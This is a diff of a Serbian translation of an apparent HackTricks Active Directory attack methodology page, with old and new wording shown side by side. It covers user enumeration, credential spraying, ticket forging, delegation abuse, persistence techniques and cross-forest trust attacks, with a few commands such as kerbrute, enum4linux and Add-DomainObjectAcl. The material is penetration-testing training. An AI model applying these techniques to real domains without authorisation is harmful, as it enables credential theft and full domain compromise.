- **Kerbrute enumeracija**: Kada se zatraži **nevažeće korisničko ime**, server će odgovoriti koristeći **Kerberos grešku** kod _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, omogućavajući nam da utvrdimo da je korisničko ime nevažeće. **Važeća korisnička imena** će izazvati ili **TGT u AS-REP** odgovoru ili grešku _KRB5KDC_ERR_PREAUTH_REQUIRED_, što ukazuje da je korisnik obavezan da izvrši pre-autentifikaciju.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -121,7 +121,7 @@ password-spraying.md
### LLMNR/NBT-NS Trovanje
Možda ćete moći da **dobijete** neke izazove **hash-eve** da razbijete **trovanjem** nekih protokola **mreže**:
Možda ćete moći da **dobijete** neke izazovne **hash-ove** da razbijete **trovanjem** nekih protokola **mreže**:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -156,7 +156,7 @@ Kada ste kompromitovali nalog, to je **veliki korak ka kompromitovanju celog dom
Što se tiče [**ASREPRoast**](asreproast.md), sada možete pronaći svakog mogućeg ranjivog korisnika, a što se tiče [**Password Spraying**](password-spraying.md), možete dobiti **listu svih korisničkih imena** i pokušati lozinku kompromitovanog naloga, prazne lozinke i nove obećavajuće lozinke.
- Možete koristiti [**CMD za osnovno rekognosciranje**](../basic-cmd-for-pentesters.md#domain-info)
- Takođe možete koristiti [**powershell za rekognosciranje**](../basic-powershell-for-pentesters/) što će biti diskretnije
- Takođe možete koristiti [**powershell za rekognosciranje**](../basic-powershell-for-pentesters/index.html) što će biti diskretnije
- Takođe možete [**koristiti powerview**](../basic-powershell-for-pentesters/powerview.md) da izvučete detaljnije informacije
- Još jedan neverovatan alat za rekognosciranje u aktivnom direktorijumu je [**BloodHound**](bloodhound.md). Nije **veoma diskretan** (u zavisnosti od metoda prikupljanja koje koristite), ali **ako vam to nije važno**, svakako biste trebali probati. Pronađite gde korisnici mogu RDP, pronađite put do drugih grupa, itd.
- **Ostali automatski alati za AD enumeraciju su:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
@ -171,7 +171,7 @@ Kada ste kompromitovali nalog, to je **veliki korak ka kompromitovanju celog dom
Veoma je lako dobiti sva korisnička imena domena iz Windows-a (`net user /domain`, `Get-DomainUser` ili `wmic useraccount get name,sid`). U Linux-u možete koristiti: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ili `enum4linux -a -u "user" -p "password" <DC IP>`
> Čak i ako ovaj odeljak o enumeraciji izgleda mali, ovo je najvažniji deo svega. Pristupite linkovima (pretežno onima o cmd, powershell, powerview i BloodHound), naučite kako da enumerišete domen i vežbajte dok se ne osećate prijatno. Tokom procene, ovo će biti ključni trenutak da pronađete svoj put do DA ili da odlučite da ništa ne može biti učinjeno.
> Čak i ako ovaj deo o enumeraciji izgleda mali, ovo je najvažniji deo svega. Pristupite linkovima (pretežno onima o cmd, powershell, powerview i BloodHound), naučite kako da enumerišete domen i vežbajte dok se ne osećate prijatno. Tokom procene, ovo će biti ključni trenutak da pronađete svoj put do DA ili da odlučite da ništa ne može biti učinjeno.
### Kerberoast
@ -185,13 +185,13 @@ kerberoast.md
### Daljinska konekcija (RDP, SSH, FTP, Win-RM, itd.)
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, možete koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, mogli biste koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
### Lokalno Eskaliranje Privilegija
Ako ste kompromitovali kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom do **bilo koje mašine u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-eve drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
Ako ste kompromitovali kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom do **bilo koje mašine u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-ove drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
Postoji cela stranica u ovoj knjizi o [**lokalnom eskaliranju privilegija u Windows-u**](../windows-local-privilege-escalation/) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
Postoji cela stranica u ovoj knjizi o [**lokalnom eskaliranju privilegija u Windows-u**](../windows-local-privilege-escalation/index.html) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Trenutne Sesijske Karte
@ -215,7 +215,7 @@ Sada kada imate neke osnovne kredencijale, trebalo bi da proverite da li možete
### Ukradi NTLM kredencijale
Ako možete **pristupiti drugim računarima ili deljenjima**, mogli biste **postaviti datoteke** (kao što je SCF datoteka) koje, ako se nekako pristupe, **pokrenu NTML autentifikaciju protiv vas**, tako da možete **ukrasti** **NTLM izazov** da ga razbijete:
Ako možete **pristupiti drugim računarima ili deljenjima**, mogli biste **postaviti datoteke** (kao što je SCF datoteka) koje, ako se nekako pristupe, **pokrenu NTML autentifikaciju protiv vas**, tako da možete **ukrasti** **NTLM izazov** da biste ga razbili:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -235,7 +235,7 @@ printnightmare.md
### Ekstrakcija hašova
Nadamo se da ste uspeli da **kompromitujete neki lokalni admin** nalog koristeći [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) uključujući relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/).\
Nadamo se da ste uspeli da **kompromitujete neki lokalni admin** nalog koristeći [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) uključujući relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Zatim, vreme je da izvučete sve hašove iz memorije i lokalno.\
[**Pročitajte ovu stranicu o različitim načinima dobijanja hašova.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
@ -247,7 +247,7 @@ Trebalo bi da koristite neki **alat** koji će **izvršiti** **NTLM autentifikac
### Over Pass the Hash/Pass the Key
Ovaj napad ima za cilj da **iskoristi NTLM haš korisnika za zahtev Kerberos karata**, kao alternativu uobičajenom Pass The Hash preko NTLM protokola. Stoga, ovo bi moglo biti posebno **korisno u mrežama gde je NTLM protokol onemogućen** i gde je samo **Kerberos dozvoljen** kao protokol autentifikacije.
Ovaj napad ima za cilj da **iskoristi NTLM haš korisnika za zahtev Kerberos karata**, kao alternativu uobičajenom Pass The Hash preko NTLM protokola. Stoga, ovo bi moglo biti posebno **korisno u mrežama gde je NTLM protokol onemogućen** i gde je samo **Kerberos dozvoljen** kao autentifikacioni protokol.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
U metodi napada **Pass The Ticket (PTT)**, napadači **kradu korisničku autentifikacionu kartu** umesto njihove lozinke ili haš vrednosti. Ova ukradena karta se zatim koristi da **imitira korisnika**, stičući neovlašćen pristup resursima i uslugama unutar mreže.
U metodi napada **Pass The Ticket (PTT)**, napadači **kradu autentifikacionu kartu korisnika** umesto njihovih lozinki ili haš vrednosti. Ova ukradena karta se zatim koristi da **imitira korisnika**, stičući neovlašćen pristup resursima i uslugama unutar mreže.
{{#ref}}
pass-the-ticket.md
@ -263,7 +263,7 @@ pass-the-ticket.md
### Ponovna upotreba kredencijala
Ako imate **haš** ili **lozinku** lokalnog **administrator**a, trebalo bi da pokušate da se **prijavite lokalno** na druge **PC-e** sa njom.
Ako imate **haš** ili **lozinku** lokalnog **administrator**-a, trebalo bi da pokušate da se **prijavite lokalno** na druge **PC**-e sa njom.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -295,7 +295,7 @@ unconstrained-delegation.md
### Constrained Delegation
Ako je korisniku ili računaru dozvoljena "Ograničena delegacija", moći će da **se pretvara u bilo kog korisnika kako bi pristupio nekim uslugama na računaru**.\
Tada, ako **kompromitujete hash** ovog korisnika/računara, moći ćete da **se pretvarate u bilo kog korisnika** (čak i domenskih administratora) kako biste pristupili nekim uslugama.
Tada, ako **kompromitujete hash** ovog korisnika/računara, moći ćete da **se pretvarate u bilo kog korisnika** (čak i administratore domena) kako biste pristupili nekim uslugama.
{{#ref}}
constrained-delegation.md
@ -327,8 +327,8 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
Ako **drugi korisnici** **pristupaju** **kompromitovanom** računaru, moguće je **prikupiti kredencijale iz memorije** i čak **ubaciti beacon-e u njihove procese** da bi se pretvarali da su oni.\
Obično korisnici pristupaju sistemu putem RDP-a, pa ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
Ako **drugi korisnici** **pristupaju** **kompromitovanoj** mašini, moguće je **prikupiti kredencijale iz memorije** i čak **ubaciti beacon-e u njihove procese** da bi se pretvarali da su oni.\
Obično korisnici pristupaju sistemu putem RDP-a, tako da ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
{{#ref}}
rdp-sessions-abuse.md
@ -344,7 +344,7 @@ laps.md
### Certificate Theft
**Prikupljanje sertifikata** sa kompromitovanog računara može biti način za eskalaciju privilegija unutar okruženja:
**Prikupljanje sertifikata** sa kompromitovane mašine može biti način za eskalaciju privilegija unutar okruženja:
{{#ref}}
ad-certificates/certificate-theft.md
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
**Silver Ticket napad** stvara **legitimnu Ticket Granting Service (TGS) kartu** za specifičnu uslugu koristeći **NTLM hash** (na primer, **hash PC naloga**). Ova metoda se koristi za **pristup privilegijama usluge**.
**Silver Ticket napad** kreira **legitimnu Ticket Granting Service (TGS) kartu** za određenu uslugu koristeći **NTLM hash** (na primer, **hash PC naloga**). Ova metoda se koristi za **pristup privilegijama usluge**.
{{#ref}}
silver-ticket.md
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
**AdminSDHolder** objekat u Active Directory-u osigurava bezbednost **privilegovanih grupa** (kao što su Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** na ovim grupama kako bi se spreile neovlašćene promene. Međutim, ova funkcija se može iskoristiti; ako napadač izmeni ACL AdminSDHolder-a kako bi dao potpuni pristup običnom korisniku, taj korisnik dobija opsežnu kontrolu nad svim privilegovanim grupama. Ova mera bezbednosti, koja je zamišljena da štiti, može se tako obrnuti, omogućavajući neovlašćen pristup osim ako se ne prati pažljivo.
**AdminSDHolder** objekat u Active Directory-u osigurava bezbednost **privilegovanih grupa** (kao što su Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** na ovim grupama kako bi se spreile neovlašćene promene. Međutim, ova funkcija se može iskoristiti; ako napadač izmeni ACL AdminSDHolder-a da bi dao potpuni pristup običnom korisniku, taj korisnik dobija opsežnu kontrolu nad svim privilegovanim grupama. Ova mera bezbednosti, koja je zamišljena da štiti, može se tako obrnuti, omogućavajući neovlašćen pristup osim ako se ne prati pažljivo.
[**Više informacija o AdminDSHolder grupi ovde.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Credentials
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvom računaru, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, neophodna je izmena registra kako bi se **omogućila upotreba ove lozinke**, omogućavajući daljinski pristup lokalnom administratorskom nalogu.
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, neophodna je izmena registra da bi se **omogućila upotreba ove lozinke**, što omogućava daljinski pristup lokalnom administratorskom nalogu.
{{#ref}}
dsrm-credentials.md
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL Persistence
Možete **dati** neke **posebne dozvole** **korisniku** nad nekim specifičnim objektima domena koje će omogućiti korisniku **eskalaciju privilegija u budućnosti**.
Možete **dati** neke **posebne dozvole** određenom **korisniku** nad nekim specifičnim objektima domena koji će omogućiti korisniku **eskalaciju privilegija u budućnosti**.
{{#ref}}
acl-persistence-abuse/
@ -465,7 +465,7 @@ security-descriptors.md
### Skeleton Key
Izmenite **LSASS** u memoriji kako biste uspostavili **univerzalnu lozinku**, koja omogućava pristup svim domena nalozima.
Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, koja omogućava pristup svim domena nalozima.
{{#ref}}
skeleton-key.md
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
Registruje **novi Domain Controller** u AD i koristi ga za **guranjem atributa** (SIDHistory, SPNs...) na specificiranim objektima **bez** ostavljanja bilo kakvih **logova** u vezi sa **izmenama**. Potrebne su **DA** privilegije i biti unutar **root domena**.\
Registruje **novi Domain Controller** u AD i koristi ga za **guranjem atributa** (SIDHistory, SPNs...) na specificiranim objektima **bez** ostavljanja bilo kakvih **logova** u vezi sa **izmenama**. Potrebne su **DA** privilegije i morate biti unutar **root domena**.\
Imajte na umu da ako koristite pogrešne podatke, pojaviće se prilično ružni logovi.
{{#ref}}
@ -504,9 +504,9 @@ Microsoft gleda na **Forest** kao na bezbednosnu granicu. To implicira da **komp
### Basic Information
[**domen poverenje**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. U suštini, stvara vezu između autentifikacionih sistema dva domena, omogućavajući da verifikacije autentifikacije teku neometano. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
[**domen poverenje**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između autentifikacionih sistema dva domena, omogućavajući nesmetano proticanje verifikacija autentifikacije. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom domenu**, prvo mora zatražiti posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa deljenim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverljivog domena** kako bi dobio kartu usluge (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverljivog domena, izdaje TGS, dajući korisniku pristup usluzi.
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom domenu**, prvo mora zatražiti posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa zajedničkim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverljivog domena** da bi dobio kartu usluge (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverljivog domena, izdaje TGS, dajući korisniku pristup usluzi.
**Koraci**:
@ -515,22 +515,22 @@ U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom dom
3. Klijent zatim traži **inter-realm TGT** od DC1, koja je potrebna za pristup resursima u **Domen 2**.
4. Inter-realm TGT je enkriptovana sa **ključem poverenja** koji je deljen između DC1 i DC2 kao deo dvosmernog poverenja domena.
5. Klijent uzima inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
6. DC2 verifikuje inter-realm TGT koristeći svoj deljeni ključ poverenja i, ako je validan, izdaje **Ticket Granting Service (TGS)** za server u Domenu 2 kojem klijent želi pristupiti.
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om naloga servera, kako bi dobio pristup usluzi u Domenu 2.
6. DC2 verifikuje inter-realm TGT koristeći svoj zajednički ključ poverenja i, ako je važeća, izdaje **Ticket Granting Service (TGS)** za server u Domen 2 kojem klijent želi pristupiti.
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om naloga servera, da bi dobio pristup usluzi u Domen 2.
### Different trusts
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** odnosu poverenja jedan od domena će biti **poverljiv** a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdane domene samo iz poverljive.**
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** odnosu poverenja jedan od domena će biti **poverljiv** a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdanog domena samo iz poverljivog**.
Ako Domen A poverava Domenu B, A je pouzdani domen, a B je poverljivi. Štaviše, u **Domenu A**, ovo bi bilo **Outbound trust**; a u **Domenu B**, ovo bi bilo **Inbound trust**.
Ako Domen A poverava Domenu B, A je pouzdani domen a B je poverljivi. Štaviše, u **Domenu A**, ovo bi bilo **Outbound trust**; a u **Domenu B**, ovo bi bilo **Inbound trust**.
**Različiti odnosi poverenja**
- **Parent-Child Trusts**: Ovo je uobičajena postavka unutar iste šume, gde dete domen automatski ima dvosmerno tranzitivno poverenje sa svojim roditeljskim domenom. U suštini, to znači da zahtevi za autentifikaciju mogu teći neometano između roditelja i deteta.
- **Cross-link Trusts**: Poznate kao "prečice poverenja", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem prečica, putovanje se skraćuje, što je posebno korisno u geografski raspršenim okruženjima.
- **Parent-Child Trusts**: Ovo je uobičajena postavka unutar iste šume, gde dete domen automatski ima dvosmerno tranzitivno poverenje sa svojim roditeljskim domenom. Suštinski, to znači da zahtevi za autentifikaciju mogu nesmetano teći između roditelja i deteta.
- **Cross-link Trusts**: Poznate kao "prečice poverenja", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem prečica, putovanje se skraćuje, što je posebno korisno u geografskim raspršenim okruženjima.
- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su netransitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), spoljašnja poverenja su korisna za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novododate korenske grane. Iako se ne susreću često, tree-root poverenja su važna za dodavanje novih domena u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija može se naći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ova vrsta poverenja je dvosmerno tranzitivno poverenje između dva korenska domena šume, takođe primenjujući filtriranje SID-a kako bi se pojačale mere bezbednosti.
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novododatog korena drveta. Iako se ne susreću često, poverenja korena drveta su važna za dodavanje novih domena drveća u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija možete pronaći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ova vrsta poverenja je dvosmerno tranzitivno poverenje između dva korenska domena šume, takođe primenjujući filtriranje SID-a kako bi se poboljšale mere bezbednosti.
- **MIT Trusts**: Ova poverenja se uspostavljaju sa ne-Windows, [RFC4120-usaglasnim](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT poverenja su malo specijalizovanija i prilagođena su okruženjima koja zahtevaju integraciju sa Kerberos-baziranim sistemima van Windows ekosistema.
#### Other differences in **trusting relationships**
@ -547,7 +547,7 @@ Ako Domen A poverava Domenu B, A je pouzdani domen, a B je poverljivi. Štaviše
Napadači bi mogli pristupiti resursima u drugom domenu putem tri osnovna mehanizma:
- **Članstvo u lokalnoj grupi**: Principi se mogu dodati lokalnim grupama na mašinama, kao što je grupa "Administratori" na serveru, dajući im značajnu kontrolu nad tom mašinom.
- **Članstvo u lokalnoj grupi**: Principi se mogu dodati lokalnim grupama na mašinama, kao što je grupa “Administratori” na serveru, dajući im značajnu kontrolu nad tom mašinom.
- **Članstvo u grupi stranog domena**: Principi takođe mogu biti članovi grupa unutar stranog domena. Međutim, efikasnost ove metode zavisi od prirode poverenja i obima grupe.
- **Access Control Lists (ACLs)**: Principi mogu biti navedeni u **ACL**, posebno kao entiteti u **ACEs** unutar **DACL**, pružajući im pristup specifičnim resursima. Za one koji žele dublje da istraže mehaniku ACL-a, DACL-a i ACE-a, beleška pod nazivom “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” je neprocenjiv resurs.
@ -582,11 +582,11 @@ sid-history-injection.md
#### Eksploatacija pisivog Configuration NC
Razumevanje kako se Configuration Naming Context (NC) može eksploatisati je ključno. Configuration NC služi kao centralni repozitorijum za konfiguracione podatke širom šume u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar šume, pri čemu pisivi DC-ovi održavaju pisivu kopiju Configuration NC. Da bi se to iskoristilo, potrebno je imati **SYSTEM privilegije na DC-u**, po mogućstvu na child DC-u.
Razumevanje kako se Configuration Naming Context (NC) može eksploatisati je ključno. Configuration NC služi kao centralni repozitorijum za konfiguracione podatke širom šume u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar šume, pri čemu pisivi DC-ovi održavaju pisivu kopiju Configuration NC. Da bi se ovo eksploatisalo, potrebno je imati **SYSTEM privilegije na DC-u**, po mogućstvu na child DC-u.
**Povezivanje GPO-a sa root DC lokacijom**
Kontejner lokacija Configuration NC sadrži informacije o svim računarima pridruženim domeni unutar AD šume. Operišući sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC lokacijama. Ova akcija potencijalno kompromituje root domen tako što manipuliše politikama primenjenim na ovim lokacijama.
Kontejner lokacija Configuration NC uključuje informacije o svim računarima pridruženim domeni unutar AD šume. Operišući sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC lokacijama. Ova akcija potencijalno kompromituje root domen tako što manipuliše politikama primenjenim na ovim lokacijama.
Za detaljne informacije, može se istražiti istraživanje o [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
@ -598,17 +598,17 @@ Detaljna analiza može se naći u diskusiji o [Golden gMSA Trust Attacks](https:
**Napad na promenu šeme**
Ova metoda zahteva strpljenje, čekajući na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD šemu kako bi dodelio bilo kojem korisniku potpunu kontrolu nad svim klasama. To bi moglo dovesti do neovlašćenog pristupa i kontrole nad novokreiranim AD objektima.
Ova metoda zahteva strpljenje, čekajući na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD šemu kako bi dodelio bilo kojem korisniku potpunu kontrolu nad svim klasama. Ovo bi moglo dovesti do neovlašćenog pristupa i kontrole nad novokreiranim AD objektima.
Dalje čitanje je dostupno o [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
**Od DA do EA sa ADCS ESC5**
ADCS ESC5 ranjivost cilja kontrolu nad objektima javne infrastrukture ključeva (PKI) kako bi se kreirala šablon sertifikata koji omogućava autentifikaciju kao bilo koji korisnik unutar šume. Kako se PKI objekti nalaze u Configuration NC, kompromitovanje pisivog child DC-a omogućava izvršenje ESC5 napada.
ADCS ESC5 ranjivost cilja kontrolu nad objektima javne infrastrukture ključeva (PKI) kako bi se kreirala šablon sertifikata koji omogućava autentifikaciju kao bilo koji korisnik unutar šume. Kako PKI objekti borave u Configuration NC, kompromitovanje pisivog child DC-a omogućava izvršenje ESC5 napada.
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS-a, napadač ima mogućnost da postavi potrebne komponente, kao što je diskutovano u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je diskutovano u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Eksterna šuma domena - Jednosmerna (prihodna) ili bidirekcionalna
### Eksterna šuma domena - Jednosmerno (ulazno) ili dvostrano
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
U ovom scenariju **vaša domena je poverena** spoljašnjoj, što vam daje **neodređene dozvole** nad njom. Moraćete da pronađete **koji principi vaše domene imaju koji pristup spoljnjoj domeni** i zatim pokušati da to iskoristite:
U ovom scenariju **vaša domena je poverena** od strane spoljne, što vam daje **neodređene dozvole** nad njom. Moraćete da pronađete **koji principi vaše domene imaju koji pristup spoljnjoj domeni** i zatim pokušati da to iskoristite:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -637,18 +637,18 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
U ovom scenariju **vaša domena** **pouzdava** neka **prava** principalu iz **drugih domena**.
U ovom scenariju **vaša domena** **pouzdava** neke **privilegije** principalu iz **drugih domena**.
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi **lozinku poverene lozinke**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskalira više prava:
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi **lozinku poverene lozinke**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskaliraju dodatne privilegije:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Drugi način da se kompromituje poverena domena je da se pronađe [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) kreiran u **suprotnoj pravcu** od poverenja domena (što nije baš uobičajeno).
Drugi način da se kompromituje poverena domena je da se pronađe [**SQL poverena veza**](abusing-ad-mssql.md#mssql-trusted-links) kreirana u **suprotnoj pravcu** od poverenja domena (što nije baš uobičajeno).
Još jedan način da se kompromituje poverena domena je da se čeka na mašini na kojoj **korisnik iz poverene domene može pristupiti** da se prijavi putem **RDP**. Tada bi napadač mogao da ubaci kod u proces RDP sesije i **pristupi izvornoj domeni žrtve** odatle.\
Štaviše, ako je **žrtva montirala svoj hard disk**, iz **RDP sesije** proces napadača mogao bi da sačuva **backdoor-e** u **startup folder-u hard diska**. Ova tehnika se naziva **RDPInception.**
Štaviše, ako je **žrtva montirala svoj hard disk**, iz **RDP sesije** proces napadača mogao bi da sačuva **backdoor-e** u **folderu za pokretanje hard diska**. Ova tehnika se naziva **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -658,7 +658,7 @@ rdp-sessions-abuse.md
### **SID filtriranje:**
- Rizik od napada koji koriste SID istorijski atribut preko šuma poverenja je ublažen SID filtriranjem, koje je aktivirano po defaultu na svim međušumskim poverenjima. Ovo se zasniva na pretpostavci da su unutrašnja poverenja šuma sigurna, smatrajući šumu, a ne domenu, kao bezbednosnu granicu prema stavu Microsoft-a.
